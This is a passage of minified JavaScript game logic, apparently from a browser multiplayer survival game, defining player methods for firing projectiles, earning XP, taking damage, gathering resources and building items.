, M = this.skin && this.skin.aMlt ?
this.skin.aMlt : 1;
p.weapons[this.weaponIndex].rec && (this.xVel -=
p.weapons[this.weaponIndex].rec * s(this.dir),
this.yVel -= p.weapons[this.weaponIndex].rec *
a(this.dir)),
h.addProjectile(this.x + E * s(this.dir), this.y +
E * a(this.dir), this.dir, p.projectiles[I].range * M, p.projectiles[I].speed * M,
I, this, null, this.zIndex)
} else
T = !1;
this.gathering = this.mouseState,
T && (this.reloads[this.weaponIndex] =
p.weapons[this.weaponIndex].speed * (this.skin && this.skin.atkSpd || 1))
}
}
}
}
,
this.addWeaponXP = function(e) {
this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex] =
0),
this.weaponXP[this.weaponIndex] += e
}
,
this.earnXP = function(e) {
this.age < n.maxAge && (this.XP += e,
this.XP >= this.maxXP ? (this.age < n.maxAge ? (this.age++,
this.XP = 0,
this.maxXP *= 1.2) : this.XP = this.maxXP,
this.upgradePoints++,
y.send(this.id, "16", this.upgradePoints, this.upgrAge),
y.send(this.id, "15", this.XP, l.fixTo(this.maxXP, 1), this.age)) :
y.send(this.id, "15", this.XP))
}
,
this.changeHealth = function(e, t) {
if (e > 0 && this.health >= this.maxHealth)
return !1;
e < 0 && this.skin && (e *= this.skin.dmgMult || 1),
e < 0 && this.tail && (e *= this.tail.dmgMult || 1),
e < 0 && (this.hitTime = Date.now()),
this.health += e,
this.health > this.maxHealth && (e -= this.health - this.maxHealth,
this.health = this.maxHealth),
this.health <= 0 && this.kill(t);
for (var n = 0; n < f.length; ++n)
this.sentTo[f[n].id] && y.send(f[n].id, "h", this.sid,
Math.round(this.health));
return !t || !t.canSee(this) || t == this && e < 0 || y.send(t.id, "t",
Math.round(this.x), Math.round(this.y), Math.round(-e), 1),
!0
}
,
this.kill = function(e) {
e && e.alive && (e.kills++,
e.skin && e.skin.goldSteal ? k(e, Math.round(this.points / 2)) : k(e,
Math.round(100 * this.age * (e.skin && e.skin.kScrM ? e.skin.kScrM : 1))),
y.send(e.id, "9", "kills", e.kills, 1)),
this.alive = !1,
y.send(this.id, "11"),
v()
}
,
this.addResource = function(e, t, i) {
!i && t > 0 && this.addWeaponXP(t),
3 == e ? k(this, t, !0) : (this[n.resourceTypes[e]] += t,
y.send(this.id, "9", n.resourceTypes[e], this[n.resourceTypes[e]], 1))
}
,
this.changeItemCount = function(e, t) {
this.itemCounts[e] = this.itemCounts[e] || 0,
this.itemCounts[e] += t,
y.send(this.id, "14", e, this.itemCounts[e])
}
,
this.buildItem = function(e) {
var t = this.scale + e.scale + (e.placeOffset || 0)
, n = this.x + t * s(this.dir)
, i = this.y + t * a(this.dir);
if (this.canBuild(e) && !(e.consume && this.skin && this.skin.noEat) &&
(e.consume || u.checkItemLocation(n, i, e.scale, .6, e.id, !1, this))) {
var r = !1;
if (e.consume) {
if (this.hitTime) {
var o = Date.now() - this.hitTime;
this.hitTime = 0,
o <= 120 ? (this.shameCount++,
this.shameCount >= 8 && (this.shameTimer = 3e4,
this.shameCount = 0)) : (this.shameCount -= 2,
this.shameCount <= 0 && (this.shameCount = 0))
}
this.shameTimer <= 0 && (r = e.consume(this))
} else
r = !0,
e.group.limit && this.changeItemCount(e.group.id, 1),
e.pps && (this.pps += e.pps),
u.add(u.objects.length, n, i, this.dir, e.scale, e.type, e, !1,
this);
r && (this.useRes(e),
this.buildIndex = -1)
}
}
,
this.hasRes = function(e, t) {
for (var n = 0; n < e.req.length; ) {
if (this[e.req[n]] < Math.round(e.req[n + 1] * (t || 1)))
return !1;
n += 2
}
return !0
}
,
this.useRes = function(e, t) {
if (!n.inSandbox)
for (var i = 0; i < e.req.length; )
this.addResource(n.resourceTypes.indexOf(e.req[i]),
-Math.round(e.req[i + 1] * (t || 1))),
i += 2
}
,
this.canBuild = function(e) {
return !!n.inSandbox || !(e.group.limit && this.itemCounts[e.group.id]
>= e.group.limit) && this.hasRes(e)
}
,
this.gather = function() {
this.noMovTimer = 0,
this.slowMult -= p.weapons[this.weaponIndex].hitSlow || .3,
this.slowMult < 0 && (this.slowMult = 0);
for (var e, t, i, r = n.fetchVariant(this), o = r.poison, c = r.val, h
= {}, g = u.getGridArrays(this.x, this.y, p.weapons[this.weaponIndex].range), m =
0; m < g.length; ++m)
for (var y = 0; y < g[m].length; ++y)
if ((t = g[m][y]).active && !t.dontGather && !h[t.sid] &&
t.visibleToPlayer(this) && l.getDistance(this.x, this.y, t.x, t.y) - t.scale <=
p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y),
l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
if (h[t.sid] = 1,
t.health) {
if (t.changeHealth(-p.weapons[this.weaponIndex].dmg * c
* (p.weapons[this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ?
this.skin.bDmg : 1), this)) {
for (var k = 0; k < t.req.length; )